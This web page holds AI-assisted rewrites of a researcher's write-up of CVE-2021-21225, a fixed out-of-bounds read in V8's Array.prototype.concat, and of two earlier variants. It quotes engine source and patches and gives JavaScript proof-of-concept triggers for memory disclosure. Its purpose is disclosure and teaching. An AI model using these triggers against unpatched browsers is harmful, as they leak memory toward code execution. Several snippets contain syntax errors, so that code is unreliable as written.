Skip to content
Memory corruption Write-up Advanced

A Bug's Life: CVE-2021-21225

An out-of-bounds read in V8's Array.prototype.concat allowed an attacker to read arbitrary memory and achieve code execution in Chrome's renderer process. The bug was triggered by a TC39 spec change that made TypedArray elements configurable, enabling a callback during element conversion.

Brendon Tiszka Follow

Published on tiszka.com

Bounty$22,000 View original

In this post, I want to showcase CVE-2021-21225, a vulnerability in V8's Array.prototype.concat implementation that I discovered in April 2021. It's not the most interesting bug I have found, but it holds sentimental value as it is a variant of the first Chrome bug I ever found back in 2016 and it is very easy to…

Brendon Tiszka (@btiszka), on tiszka.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 14 min read.

Context

CVE-2021-21225 is an out-of-bounds read in V8's Array.prototype.concat implementation, discovered in April 2021. It was used to gain code execution in Google Chrome's renderer process and won a $22000 bounty from Google, which the researcher donated to the EFF (matched by Google). The bug works in pdfium, web workers and JIT-less environments, which the author lists as the checkboxes of a powerful V8 builtin bug.

Array.prototype.concat is a complex state machine. It can take an arbitrary number of arguments of any type, and it has to handle every edge case of concatenating two "arrays": Symbol.species, Symbol.isConcatSpreadable, fast Array types, slow Array types, and other objects that are not Arrays. A call with only Arrays as input already exercises a lot of that machinery:

JavaScript
var a1 = [1,,3];
a1.__proto__[1] = 2;
var a2 = [];
var a3 = [6, 5];
a2.length = 1;
a2.__defineGetter__(0, function() {
    a1[1] = 2; a3.reverse(); return 4;
});
console.log(a1.concat(a2, a3));

The author's framing is that vulnerability researchers often audit state machines, not only source to sink. The complexity of the spec moves the state machine into "weirder" states, and in V8 those states almost always lead to memory corruption. Weirdness compounds: one small vulnerability that moves one state to a weirder state can be used to reach an even weirder one.

Setup

No accounts, roles or tooling are described. The work is source review of V8's C++ implementation of Array.prototype.concat, illustrated with small JavaScript proof-of-concept scripts.

Finding it

The history matters here. CVE-2021-21225 is a variant of the first Chrome bug the author found, in 2016. The commit that introduced CVE-2021-21225 made no changes to the underlying implementation of Array.prototype.concat, and there have been no significant changes to that implementation in the past five years. What changed was the TC39 standard: the spec change simply makes TypedArray elements configurable.

From the original on tiszka.com

The change means this statement no longer throws an exception:

JavaScript
var u32 = new Uint32Array(64);
Object.defineProperty(u32, 1, { configurable: true });

From a web developer's perspective that is innocuous. From the engine's perspective it means CreateDataProperty(typedArray, 0, 5) is now possible. Before the patch, passing a TypedArray to CreateDataProperty threw, because TypedArray elements were not configurable:

Text
VM133:1 Uncaught TypeError: Cannot redefine property: 0
    at :1:3

To see how a spec change this small produced an out-of-bounds read in Array.prototype.concat, the author walks through two earlier snapshots of Chrome's history where the same vulnerability was reachable: CVE-2016-1646 and CVE-2017-5030.

Root cause: CVE-2016-1646

Inside Array.prototype.concat there is logic that iterates over each element of every object passed in and stores those elements into a final concatenated array. It is one of the largest and most complex builtin functions in the V8 codebase and is implemented in C++. The author breaks it into chunks.

JavaScript
var result = [1,2,3].concat([4, 5, 6]);

----------------------------------------

ArrayConcatVisitor visitor(isolate, storage, fast_case);

for (int i = 0; i < argument_count; i++) {
  Handle<Object> object = args‑>at(i);
  IterateElements(isolate, object, &visitor))
}
...
  1. visitor, the object Array.prototype.concat writes all elements of the input arrays to and returns, is allocated.
  2. The for loop iterates over each argument passed to Array.prototype.concat. On each iteration it passes an argument to IterateElements, which iterates that argument's elements.
JavaScript
bool IterateElements(Isolate* isolate, Handle<JSReceiver> receiver,
                     ArrayConcatVisitor* visitor) {

    Handle<JSObject> array = Handle<JSObject>::cast(receiver);

    int length = static_cast<uint32_t>(array‑>length().Number());

    switch (array->GetElementsKind()) {
    ...
}
  1. Store the input array from the arguments into the variable array.
  2. Store the length of the input array in the variable length.
  3. Check the type of the array with GetElementsKind. Arrays can have several types that all need different handling; for example, arrays that only hold double elements, [1.1, 2.2, 3.3], are type FAST_DOUBLE_ELEMENTS.
JavaScript
  switch (array‑>GetElementsKind()) {
    case FAST_DOUBLE_ELEMENTS: {

      Handle<FixedArray> elements(FixedArray::cast(array->elements()));

      int fast_length = static_cast<int>(length);

      FOR_WITH_HANDLE_SCOPE(isolate, int, j = 0, j, j < fast_length, j++, {
        ...
      });
  }
  1. Cache the array's elements pointer in the variable elements, which points to the array's contents.
  2. Cache the length of the array in fast_length.
  3. Iterate from 0 to fast_length.
JavaScript
    FOR_WITH_HANDLE_SCOPE(isolate, int, j = 0, j, j < fast_length, j++, {

      Handle<Object> element_value(elements->get(j), isolate);

      if (!element_value->IsTheHole(isolate)) {
        if (!visitor->visit(j, element_value)) return false;
      } else {

        ASSIGN_RETURN_ON_EXCEPTION_VALUE(
            isolate, element_value,
            JSReceiver::GetElement(isolate, array, j), false);
        if (!visitor->visit(j, element_value)) return false;
      }
    });
  1. Read the jth element from the array's contents using elements->get(j).
  2. If the value read is not a Hole (that is, not empty), store it to the result object with visitor->visit.
  3. If the value read is a Hole (the element is empty, as in [1, 2, /* hole */, 4]), use JSReceiver::GetElement to traverse the array's prototype chain in search of a value, and store whatever is found with visitor->visit.

The author adds a note on how V8 accesses a JavaScript Array's elements. V8 generally has two ways of doing things, slow and fast. Fast operations access memory directly; slow operations use the V8 interpreter itself, through the same underlying APIs that make var array=[1, , 3]; array[1]; possible. elements->get is a fast operation: it reads directly from memory, and if it reads outside the array's length it causes undefined behaviour and returns arbitrary memory contents. JSReceiver::GetElement is a slow operation: it walks prototype chains, throws exceptions, calls getters and setters, returns undefined if reading out of bounds, and does anything else you can think of when accessing an index from JavaScript.

The issue is that JSReceiver::GetElement not only traverses prototype chains for values, it also triggers getter/setter callbacks if any exist on the prototype chain. Those callbacks can contain user-controlled JavaScript, so at that point in the loop we can execute any JavaScript we want. In a malicious callback we can change the length of the array with array.length = 1; and trigger a garbage collection cycle by allocating a lot of memory with new ArrayBuffer(0x7fe00000). During that cycle the array is re-allocated with elements of length 1. fast_length still holds whatever length the array had when it first entered IterateElements, so the loop keeps running from 0 to fast_length even though the elements' length is now 1, and the memory-unsafe elements->get(j) reads out of bounds, returning gibberish values from memory after elements or causing a crash.

JavaScript
var array = [1.1, , 3.3, 4.4];

var proto = {};
array.__proto__ = proto;

proto.__defineGetter__(1, function() {
    array.length = 1;
    new ArrayBuffer(0x7fe00000);
    return 2.2;
});

var c = Array.prototype.concat.call(array).
console.log(c);

The final array returned by Array.prototype.concat yields an array with special double values such as 1.0316188778496665e+26. These correspond to pointer values read out of bounds with elements->get(j) and stored in the result array with visitor->visit.

The fix

The fix uses the abstraction HasOnlySimpleElements, a function that checks whether there are any getters/setters on an object or its prototype chain, to ensure that none of the input arrays will trigger JavaScript execution when JSReceiver::GetElement is called.

JavaScript
+ if ( !HasOnlySimpleElements(isolate, *receiver)) {
+     return IterateElementsSlow(isolate, receiver, length, visitor);
+ }

  switch (array‑>GetElementsKind()) {
      case FAST_DOUBLE_ELEMENTS: {
      ...

Root cause: CVE-2017-5030

The crux of CVE-2016-1646 was that callbacks could execute before the memory-unsafe elements->get(j), and within those callbacks the length of the elements being indexed could be modified. The patch checked the input arrays for getters/setters, but if there was a different way to execute callbacks inside that loop, the vulnerability would exist again. That is CVE-2017-5030.

A few months after CVE-2016-1646 was fixed, two major changes landed in V8: the Proxy object and Symbol.species. Together they introduced a new way to trigger callbacks inside the loop, this time within visitor->visit, which stores values to the result object returned by Array.prototype.concat.

Understanding Symbol.species

Symbol.species was introduced in June 2016. Put simply, it allows objects to override their default constructor, so builtins such as Array.prototype.concat and Uint8Array.prototype.slice derive the class of the object they are going to return by pulling the Symbol.species symbol from their input object's constructor.

JavaScript
function CustomConstructor() {
    return new Number(5);
}

class MyArray extends Array {
    static get [Symbol.species]() { return CustomConstructor; }
}

var array = (new MyArray(3)).fill(1);
console.log(array);
var return_value = array.concat(2);
console.log(return_value);

What is a Proxy object?

A Proxy wraps another object and intercepts calls to the object it wraps. This small script uses a Proxy to intercept all get operations on an object.

JavaScript
const handler = {
  get: function(target, prop, receiver) {
    return "evil";
  }
};

var a = new Proxy({}, handler);
a[0] = 5;
console.log(a[0]);
console.log(a[2]);

The vulnerability

The pieces are:

  1. Symbol.species can be used to control the object that Array.prototype.concat returns.
  2. Array.prototype.concat is still vulnerable if a callback can be triggered in the loop.
  3. The Proxy object can be used to intercept requests to an object.

Piece 1: visitor is now controlled by the user with Symbol.species

After Symbol.species landed, Array.prototype.concat reads the constructor in Array[@@species] from its first argument to construct the object it returns.

JavaScript
  Handle<Object> species;
  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      isolate, species, Object::ArraySpeciesConstructor(isolate, receiver));
  ...

  Handle<Object> length(Smi::zero(), isolate);
  Handle<Object> storage_object;

  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
     isolate, storage_object,
     Execution::New(isolate, species, species, 1, &length));
  storage = Handle<HeapObject>::cast(storage_object);

  ArrayConcatVisitor visitor(isolate, storage, fast_case);
  ...

Array.prototype.concat uses Symbol.species to pull the constructor from its first argument, executes that constructor, stores the result in the storage variable, and creates the visitor object with storage. That gives complete control over the object Array.prototype.concat writes to with visitor->visit and returns:

JavaScript
var o = {};
class MyArray extends Array {
    static get [Symbol.species]() {
        return function() { return o; }
    };
}
var a = new MyArray();
console.log(Array.prototype.concat.call(a, [1, 2, 3]));

console.log(o);

Piece 2

With the visitor object under our control, the next step is to find places where writing to it runs a callback. Here is a snippet of visitor->visit:

JavaScript
V8_WARN_UNUSED_RESULT bool visit(uint32_t i, Handle<Object> elm) {
  uint32_t index = index_offset_ + i;
  ...

  if (!is_fixed_array()) {
    LookupIterator it(isolate_, storage, index, LookupIterator::OWN);

    MAYBE_RETURN(
      JSReceiver::CreateDataProperty(&it, elm, Just(kThrowOnError)), false);
    return true;
  }
    ...
}

Under the covers, visitor->visit uses the JSReceiver::CreateDataProperty abstraction to write values from the input arrays to the result object Array.prototype.concat is going to return. The call graph of JSReceiver::CreateDataProperty looks like this:

From the original on tiszka.com

If any function that JSReceiver::CreateDataProperty calls can trigger a JavaScript callback, it can be exploited in the same way as CVE-2016-1646. The author does not walk through every function in the graph, but notes that there are JSProxy paths, meaning Proxy objects are handled by CreateDataProperty.

Piece 3

Looking closer at the call graph, CreateDataProperty eventually reaches JSProxy::DefineOwnProperty if passed a Proxy object.

JavaScript
Maybe<bool> JSProxy::DefineOwnProperty(Isolate* isolate, Handle<JSProxy> proxy,
                                       ...) {
  ...
  // [1]
  Handle<Object> trap;
  ASSIGN_RETURN_ON_EXCEPTION_VALUE(
      isolate, trap,
      Object::GetMethod(Handle<JSReceiver>::cast(handler), "defineProperty"),
      Nothing<bool>());
  ...

JSProxy::DefineOwnProperty looks up the "defineProperty" string on the Proxy's handler with Object::GetMethod. Object::GetMethod is a slow operation, like JSReceiver::GetElement, that triggers getter/setter callbacks. So we can once again execute a callback inside the IterateElements loop in Array.prototype.concat.

Putting it all together

JavaScript
var target = {};
var handler = {};
var p = new Proxy(target, handler);

class MyArray extends Array {
    static get [Symbol.species]() {
        return function() { return p; }
    };
}

var w = var MyArray(100);
w[1] = 0.1;
w[2] = 0.1;

First, create an object with a custom Symbol.species that returns a Proxy object.

JavaScript
var b_dp = o.defineProperty;
function evil_callback() {

    w.length = 1;
    gc();
    return b_dp;
}

handler.__defineGetter__("defineProperty", evil_callback);

Then define a getter for the string "defineProperty" on the handler, which is executed when Object::GetMethod is called deep in visitor->visit. Inside that getter, shorten the length of an input array with a.length = 1 and trigger garbage collection.

JavaScript
var result = Array.prototype.concat.call(w);

for (var i = 0; i < 20; i++) {
  console.log(result[i]);
}

Finally, trigger Array.prototype.concat with the custom object as the first argument. After it finishes, read the out-of-bounds values from the result object.

Here is all of that in one go:

JavaScript
var target = {};
var handler = {};
var p = new Proxy(target, handler);

class MyArray extends Array {
    static get [Symbol.species]() {
        return function() { return p; }
    };
}

var w = new MyArray(100);
w[1] = 0.1;
w[2] = 0.1;

var b_dp = o.defineProperty;
function evil_callback() {

    w.length = 1;
    gc();
    return b_dp;
}
handler.__defineGetter__("defineProperty", evil_callback);

var result = Array.prototype.concat.call(w);

var (var i = 0; i < 20; i++) {
  console.log(result[i]);
}

The fix

The fix adds a second check guaranteeing that the result object (the object returned by Symbol.species) is a "Simple" type. Put simply, the check ensures the result object is not a Proxy object, with the hope that this prevents callbacks from executing inside the IterateElements loop.

JavaScript
+   if (!visitor‑>has_simple_elements() ||
       !HasOnlySimpleElements(isolate, *receiver)) {
     return IterateElementsSlow(isolate, receiver, length, visitor);
   }
   Handle<JSObject> array = Handle<JSObject>::cast(receiver);

   switch (array‑>GetElementsKind()) {
     case PACKED_SMI_ELEMENTS:
     case PACKED_ELEMENTS:
     case PACKED_FROZEN_ELEMENTS:
     case HOLEY_ELEMENTS: {

Root cause: CVE-2021-21225

Now back to the TC39 change that introduced CVE-2021-21225 and what it does.

From the original on tiszka.com

From a web developer's perspective it means configurable properties can be defined on TypedArrays:

JavaScript
var u32 = new Uint32Array(64);
Object.defineProperty(u32, 1, { configurable: true });

Before the patch, passing a TypedArray to CreateDataProperty threw an exception because TypedArray elements were not configurable. With this new attack surface in mind, the attack surface diagram for JSReceiver::CreateDataProperty shows references to TypedArrays. Maybe a callback can be triggered in there somewhere.

From the original on tiszka.com

Seven functions deep in CreateDataProperty there is a call to Object::SetDataProperty.

JavaScript
Maybe<bool> Object::SetDataProperty(LookupIterator* it, Handle<Object> value) {
  ...

  if (it->IsElement() && receiver->IsJSObject(isolate) &&
      JSObject::cast(*receiver).HasTypedArrayElements(isolate)) {
    ElementsKind elements_kind = JSObject::cast(*receiver).GetElementsKind();

    if (elements_kind == BIGINT64_ELEMENTS ||
        elements_kind == BIGUINT64_ELEMENTS) {

      ASSIGN_RETURN_ON_EXCEPTION_VALUE(isolate, to_assign,
                                       BigInt::FromObject(isolate, value),
                                       Nothing<bool>());
      ...

    } else if (!value->IsNumber() && !value->IsUndefined(isolate)) {

      ASSIGN_RETURN_ON_EXCEPTION_VALUE(isolate, to_assign,
                                       Object::ToNumber(isolate, value),
                                       Nothing<bool>());
      ...
    }
  }
  ...
}

Inside Object::SetDataProperty there is logic that checks whether the object being stored to is a TypedArray, and if so converts the value being stored from an Object type to a numeric type (BigInt::FromObject for bigints, Object::ToNumber for regular numbers). Converting from an Object to a Number in JavaScript triggers a callback:

JavaScript
var object = { valueOf: function() {
    console.log("callback!")
    return 5;
}};
var sum = object + 4;

console.log(sum);

Putting it all together again

JavaScript
let u32 = new Uint32Array(32);
u32.__defineSetter__('length', function() {});

class MyArray extends Array {
    static get [Symbol.species]() {
        return function() { return u32; }
    };
}

var w = new MyArray(100);

First, create an object with a custom Symbol.species that returns a TypedArray object u32.

JavaScript
w[1] = {
  valueOf: function() {
    w.length = 1;
    gc();
    return 1;
  }
};
w[2] = 2;

Then store an object with a valueOf callback to the array, so it will be written to the resulting TypedArray u32 with visitor->visit, causing the valueOf callback to run during visitor->visit.

JavaScript
var c = Array.prototype.concat.call(w);

Then trigger Array.prototype.concat with w as the first argument.

JavaScript
let u32 = new Uint32Array(32);
u32.__defineSetter__('length', function() {});

class MyArray extends Array {
    static get [Symbol.species]() {

        return function() { return u32; }
    };
}

var w = new MyArray(100);

w[1] = {
  valueOf: function() {
    w.length = 1;
    gc();
    return 1;
  }
};

var c = Array.prototype.concat.call(w);

Exploitation

The bug is an out-of-bounds read in Array.prototype.concat that was used to gain code execution. Exploitation is covered in Part 2 of the writeup, which describes four techniques the author had not seen in public exploits:

  1. How to easily disable JIT W^X at runtime.
  2. How to leak the pointer compression isolated root value.
  3. How to survive Object::ToNumber(fakeObj).
  4. How to write a GC resistant addrOf with LargeObjectSpace arrays.

Impact

The vulnerability was used to gain code execution in Google Chrome's renderer process. Because it lives in a V8 builtin, it works in pdfium, web workers and JIT-less environments. The author also notes, with explicit permission from the person who offered, that on the open markets the prices for this bug and two other bugs (crbug.com/1260109 and crbug.com/1307610) ranged anywhere from $350k to $500k each if provided with a reliable enough exploit, with most payouts being an upfront bonus of N% and quarterly payouts afterwards contingent on the bugs lasting.

Fix

The final fix adds the scope level abstraction DisallowJavascriptExecution to the scope of the for loop.

From the original on tiszka.com

DisallowJavascriptExecution crashes the V8 runtime with an assertion if JavaScript is ever executed in its scope. If a callback is ever triggered in the IterateElements loop again, the program crashes with a benign assertion. The author's conclusion is that this bug is truly dead.

Security engineering lessons

Oversimplifying the root cause will lead to more bugs

Looking back, the only reason CVE-2016-1646 existed was that the developer needed an abstraction that searched an object's prototype chain for a value, and the only abstraction available with that functionality was JSReceiver::GetElement. JSReceiver::GetElement hid a lot of complexity, like any good abstraction, but some of that hidden complexity, such as calling getters and setters, had the potential to break security invariants. The lesson is to identify abstractions that hide a lot of complexity, audit them for paths that can break security invariants, and then audit and harden their callers.

Variants to test

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 34 min read.

What happened, in plain words

In April 2021 a security researcher found a bug in Google Chrome, the browser you are probably using to read this. The bug was given the official name CVE-2021-21225. "CVE" stands for Common Vulnerabilities and Exposures: it is a public catalogue number that every known security flaw gets, so people can talk about one specific flaw without confusion.

The flaw was in a piece of Chrome called V8. V8 is the JavaScript engine: the part of the browser that reads the JavaScript code that websites send it and turns it into actions on your computer. JavaScript is the programming language that makes web pages interactive, for example when a button changes colour or a page loads new content without reloading.

The specific piece of V8 involved is a built-in function called Array.prototype.concat. In JavaScript, an "array" is simply a list of values, like a shopping list. concat is the function that glues two or more lists together into one longer list. For example, gluing [1, 2] and [3, 4] gives [1, 2, 3, 4].

The bug was an "out-of-bounds read". Imagine reading a book and, after the last page, continuing to read whatever happens to be printed on the next sheet of paper, which belongs to a different book. A program that reads past the end of a list is doing the same thing: it picks up data that belongs to something else. In this case the data that leaked out could be used to run the attacker's own code inside Chrome. The researcher used it to gain code execution in Chrome's renderer process. The renderer is the part of the browser that draws the page and runs the page's JavaScript; it is deliberately kept separate from the rest of the browser so that a bug there is contained, but code execution inside it is still a serious problem.

Google paid a $22,000 bounty for the report. A bounty is a reward a company pays to someone who reports a security flaw responsibly instead of misusing it. The researcher donated the money to the EFF, the Electronic Frontier Foundation, a non-profit that defends digital rights, and Google matched the donation.

The author describes the bug as not the most interesting one they have found, but as one with sentimental value: it is a variant of the first Chrome bug they ever found, back in 2016, and it is very easy to learn from. That is why this is written as an educational post. The bug also ticks all the boxes of a powerful V8 engine bug: it works in pdfium (the component Chrome uses to display PDF documents), in web workers (background scripts a page can run without blocking the page itself), and in JIT-less environments. JIT stands for "just in time" compilation: a technique where the engine translates JavaScript into fast machine code while the program runs. Some environments switch that off, and the bug still works there.

The author also mentions, with explicit permission from the person who offered, that on the open markets this bug and two other bugs (crbug.com/1260109 and crbug.com/1307610) were priced anywhere from $350k to $500k each if provided with a reliable enough exploit that they could work with, with most of the payouts being an upfront bonus of N% and quarterly payouts afterwards contingent on the bugs lasting. An exploit is the concrete recipe that turns a bug into an actual attack.

Part 2 of the writeup covers exploitation techniques the author had not seen in public exploits:

  • 1. How to easily disable JIT W^X at runtime.
  • 2. How to leak the pointer compression isolated root value.
  • 3. How to survive Object::ToNumber(fakeObj).
  • 4. How to write a GC resistant addrOf with LargeObjectSpace arrays.

Those four items are advanced topics; this article explains the bug itself and the history behind it.

Ode to Weirdness

Array.prototype.concat is, in the author's words, a complex state machine. A state machine is a program that is always in one particular "state" and moves from state to state as it does its work, like a vending machine that is waiting for coins, then dispensing, then giving change. concat can take an arbitrary number of arguments, and each argument can be of any type: a list, a number, a piece of text, an object, anything. So it has to handle every single edge case that comes with gluing two "arrays" together.

Here is a call to concat with only arrays as input, and it already exercises a lot of that machinery:

JavaScript
var a1 = [1,,3];
a1.__proto__[1] = 2;
var a2 = [];
var a3 = [6, 5];
a2.length = 1;
a2.__defineGetter__(0, function() {
    a1[1] = 2; a3.reverse(); return 4;
});
console.log(a1.concat(a2, a3));

Line by line:

  • var a1 = [1,,3]; creates a list with three positions, but the middle one is deliberately left empty. JavaScript calls such an empty position a "hole".
  • a1.__proto__[1] = 2; sets a value on the list's prototype. The prototype is a fallback object: when JavaScript looks up a position that is empty in the list itself, it continues looking on the prototype, like checking a shared family address book when a name is not in your personal one.
  • var a2 = []; creates an empty list.
  • var a3 = [6, 5]; creates a list with two values.
  • a2.length = 1; tells JavaScript that a2 has length 1, even though it contains no values. This is legal and creates another hole.
  • a2.__defineGetter__(0, function() { ... }); installs a getter on position 0 of a2. A getter is a small function that JavaScript runs automatically whenever someone reads that position, instead of returning a stored value. It is like a shop assistant who, whenever you ask for item number 0, goes and fetches something for you.
  • Inside the getter, a1[1] = 2; fills the hole in a1, and a3.reverse(); reverses the order of a3. The getter then returns 4.
  • console.log(a1.concat(a2, a3)); glues the three lists together and prints the result.

So concat has to cope with holes, with prototypes, with getters that change other lists while it is working, and with many more cases. The author lists some of the features it must handle: Symbol.species, Symbol.isConcatSpreadable, "fast" Array types, "slow" Array types, and other objects that are not Arrays at all. A Symbol is a special kind of unique label in JavaScript used to name behaviours; Symbol.species and Symbol.isConcatSpreadable are two such labels that change how built-in functions behave. "Fast" and "slow" array types are two internal ways V8 stores a list, one optimised for speed and one for flexibility.

The author's point is that security researchers audit state machines, not only "source to sink". "Source to sink" is the classic way of looking for bugs: find where untrusted input enters the program (the source) and follow it until it reaches a dangerous operation (the sink). That is only a small subset of what is worth auditing. The other thing researchers look at is how many "weirder" states a state machine has. In V8, those weirder states almost always lead to memory corruption, meaning the program ends up reading or writing memory it should not touch. Weirdness compounds: one small vulnerability that moves the machine into a weirder state can be used to reach an even weirder one, and eventually memory corruption.

History

The history of CVE-2021-21225 tells a tale of how changes to the TC39 standard can cause vulnerabilities in scripting engines. TC39 is the committee that maintains the JavaScript specification, the document that describes exactly how JavaScript must behave; every major browser engine follows it. The author cites Natalie Silvanovich's talk on how standards drive bugs in script engines.

CVE-2021-21225 is an out-of-bounds read in Array.prototype.concat that leads to code execution. Yet the commit that introduced it made no changes to the underlying implementation of Array.prototype.concat. A commit is a single recorded change to a codebase. There have been no significant changes to the implementation of Array.prototype.concat in the past five years.

The TC39 spec change that introduced the vulnerability is rather innocuous and simply makes TypedArray elements configurable. A TypedArray is a special kind of list in JavaScript that holds numbers of one fixed size, such as 32-bit unsigned integers, and is used when performance or raw binary data matters. "Configurable" is a property attribute: it says whether a property may be redefined or deleted later. Before the change, the individual positions of a TypedArray could not be redefined; after it, they can.

From the original on tiszka.com

TLDR; this statement no longer throws an exception:

JavaScript
var u32 = new Uint32Array(64);
Object.defineProperty(u32, 1, { configurable: true });

Line by line:

  • var u32 = new Uint32Array(64); creates a TypedArray of 64 positions, each holding an unsigned 32-bit integer. "Unsigned" means it cannot be negative.
  • Object.defineProperty(u32, 1, { configurable: true }); asks JavaScript to redefine position 1 of that TypedArray and to mark it as configurable. Before the spec change this line threw an exception, meaning it raised an error and stopped; after the change it is allowed.

You may ask how a change this simple to the TypedArray spec caused an out-of-bounds read in Array.prototype.concat. The author's answer is that the stars had been aligning to make this vulnerability for over seven years. To understand how it came into existence, it is worth looking at two other snapshots in Chrome's history when triggering this same vulnerability was possible: CVE-2016-1646 and CVE-2017-5030.

Root cause: CVE-2016-1646

Inside Array.prototype.concat there is logic that iterates over each element of every object passed to it and stores those elements into a final concatenated array. It is one of the largest and most complex builtin functions in the V8 codebase and is all still implemented in C++. C++ is the programming language V8 itself is written in; JavaScript code running in the browser is interpreted by this C++ program. The author breaks the implementation into chunks.

JavaScript
var result = [1,2,3].concat([4, 5, 6]);

----------------------------------------

ArrayConcatVisitor visitor(isolate, storage, fast_case);

for (int i = 0; i < argument_count; i++) {
  Handle<Object> object = args‑>at(i);
  IterateElements(isolate, object, &visitor))
}
...

Line by line:

  • var result = [1,2,3].concat([4, 5, 6]); is the JavaScript call being implemented: glue two lists together.
  • The dashed line separates the JavaScript from the C++ that does the work.
  • ArrayConcatVisitor visitor(isolate, storage, fast_case); allocates the visitor. The visitor is the object that concat writes all the elements of the input arrays to, and that it eventually returns. Think of it as the box into which the glued list is being packed.
  • for (int i = 0; i < argument_count; i++) { is a loop over each argument passed to concat.
  • Handle<Object> object = args‑>at(i); picks the current argument. A Handle is V8's way of keeping track of an object so that the garbage collector does not move it away while the code is using it. The garbage collector is the part of the engine that reclaims memory that is no longer needed.
  • IterateElements(isolate, object, &visitor)) passes that argument to a function that walks through its elements and puts them in the visitor.

So step 1 is: the visitor is allocated. Step 2 is: the loop iterates over each argument, and each argument is handed to IterateElements, which iterates that argument's elements.

JavaScript
bool IterateElements(Isolate* isolate, Handle<JSReceiver> receiver,
                     ArrayConcatVisitor* visitor) {

    Handle<JSObject> array = Handle<JSObject>::cast(receiver);

    int length = static_cast<uint32_t>(array‑>length().Number());

    switch (array->GetElementsKind()) {
    ...
}

Line by line:

  • bool IterateElements(...) declares a function that returns true or false and takes the engine, the input object (called receiver) and the visitor.
  • Handle<JSObject> array = Handle<JSObject>::cast(receiver); stores the input array in the variable array.
  • int length = static_cast<uint32_t>(array‑>length().Number()); stores the length of the input array in the variable length.
  • switch (array->GetElementsKind()) { checks the type of the array. Arrays can have a few different internal types that all need to be handled differently; for example, arrays that only hold double elements, [1.1, 2.2, 3.3], are type FAST_DOUBLE_ELEMENTS. A double is a number with a decimal point.

So steps 3, 4 and 5 are: store the input array, store its length, and check its type.

JavaScript
  switch (array‑>GetElementsKind()) {
    case FAST_DOUBLE_ELEMENTS: {

      Handle<FixedArray> elements(FixedArray::cast(array->elements()));

      int fast_length = static_cast<int>(length);

      FOR_WITH_HANDLE_SCOPE(isolate, int, j = 0, j, j < fast_length, j++, {
        ...
      });
  }

Line by line:

  • case FAST_DOUBLE_ELEMENTS: { is the branch taken for arrays that hold only decimal numbers.
  • Handle<FixedArray> elements(FixedArray::cast(array->elements())); caches the array's elements pointer in the variable elements. This pointer points to the array's contents in memory, like the page number where a chapter starts.
  • int fast_length = static_cast<int>(length); caches the length of the array in fast_length.
  • FOR_WITH_HANDLE_SCOPE(isolate, int, j = 0, j, j < fast_length, j++, { ... }); is a loop that iterates from 0 up to fast_length.

So steps 6, 7 and 8 are: cache the elements pointer, cache the length, and start looping.

JavaScript
    FOR_WITH_HANDLE_SCOPE(isolate, int, j = 0, j, j < fast_length, j++, {

      Handle<Object> element_value(elements->get(j), isolate);

      if (!element_value->IsTheHole(isolate)) {
        if (!visitor->visit(j, element_value)) return false;
      } else {

        ASSIGN_RETURN_ON_EXCEPTION_VALUE(
            isolate, element_value,
            JSReceiver::GetElement(isolate, array, j), false);
        if (!visitor->visit(j, element_value)) return false;
      }
    });

Line by line:

  • Handle<Object> element_value(elements->get(j), isolate); reads the jth element from the array's contents using elements->get(j).
  • if (!element_value->IsTheHole(isolate)) { checks whether the value read is not a Hole, that is, not an empty position.
  • if (!visitor->visit(j, element_value)) return false; if it is a real value, stores it in the result object with visitor->visit.
  • } else { is the branch for a Hole, as in [1, 2, /* hole */, 4].
  • ASSIGN_RETURN_ON_EXCEPTION_VALUE(isolate, element_value, JSReceiver::GetElement(isolate, array, j), false); uses JSReceiver::GetElement to traverse the array's prototype chain in search of a value.
  • if (!visitor->visit(j, element_value)) return false; stores whatever was found with visitor->visit.

So steps 9, 10 and 11 are: read the element directly, store it if it is real, and if it is a hole, look it up the slow way and store the result.

The author adds a quick note on how V8 accesses a JavaScript Array's elements. V8 generally has two ways of doing things, slow and fast. Fast operations access memory directly; slow operations use the V8 interpreter itself, through the same underlying APIs that make var array=[1, , 3]; array[1]; possible. An API, in this context, is a named function that one part of the program offers to another part so it can ask for something without knowing how it is done inside. elements->get is a fast operation: it reads directly from memory, and if it reads outside the array's length it causes undefined behaviour and returns arbitrary memory contents. JSReceiver::GetElement is a slow operation: it walks prototype chains, throws exceptions, calls getters and setters, returns undefined if reading out of bounds, and does anything else you can think of when accessing an index from JavaScript.

The issue is that JSReceiver::GetElement not only traverses prototype chains for values, it also triggers getter/setter callbacks if any exist on the prototype chain. A callback is a function you hand to the engine and that the engine runs later, at a moment it chooses. Those callbacks can contain user-controlled JavaScript, meaning that at that point in the loop we can execute any JavaScript we want.

This turns out not to be an ideal state of affairs for the V8 engine, especially for this loop. In our malicious callback we can change the length of the array with array.length = 1; and trigger a garbage collection cycle by allocating a lot of memory with new ArrayBuffer(0x7fe00000). An ArrayBuffer is a raw block of memory that JavaScript can ask for. During that garbage collection cycle the array is re-allocated with elements of length 1. But fast_length still holds whatever length the array had when it first entered IterateElements, so the loop keeps running from 0 to fast_length even though the elements' length is now 1. The memory-unsafe elements->get(j) then reads out of bounds, returning gibberish values from memory after elements, or causing a crash.

Here is a proof of concept. A proof of concept is a small program that demonstrates a bug without doing any real harm.

JavaScript
var array = [1.1, , 3.3, 4.4];

var proto = {};
array.__proto__ = proto;

proto.__defineGetter__(1, function() {
    array.length = 1;
    new ArrayBuffer(0x7fe00000);
    return 2.2;
});

var c = Array.prototype.concat.call(array).
console.log(c);

Line by line:

  • var array = [1.1, , 3.3, 4.4]; creates a list of decimal numbers with a hole in position 1.
  • var proto = {}; creates an empty object to act as the prototype.
  • array.__proto__ = proto; makes that object the list's prototype, so lookups of missing positions will go there.
  • proto.__defineGetter__(1, function() { ... }); installs a getter for position 1 on the prototype. It will run when the engine looks up the hole at position 1.
  • array.length = 1; inside the getter, shrinks the list to length 1.
  • new ArrayBuffer(0x7fe00000); asks for a very large block of memory, which forces the garbage collector to run.
  • return 2.2; gives the getter's answer.
  • var c = Array.prototype.concat.call(array). calls concat on the list. call is a way of invoking a function with a chosen first argument.
  • console.log(c); prints the result.

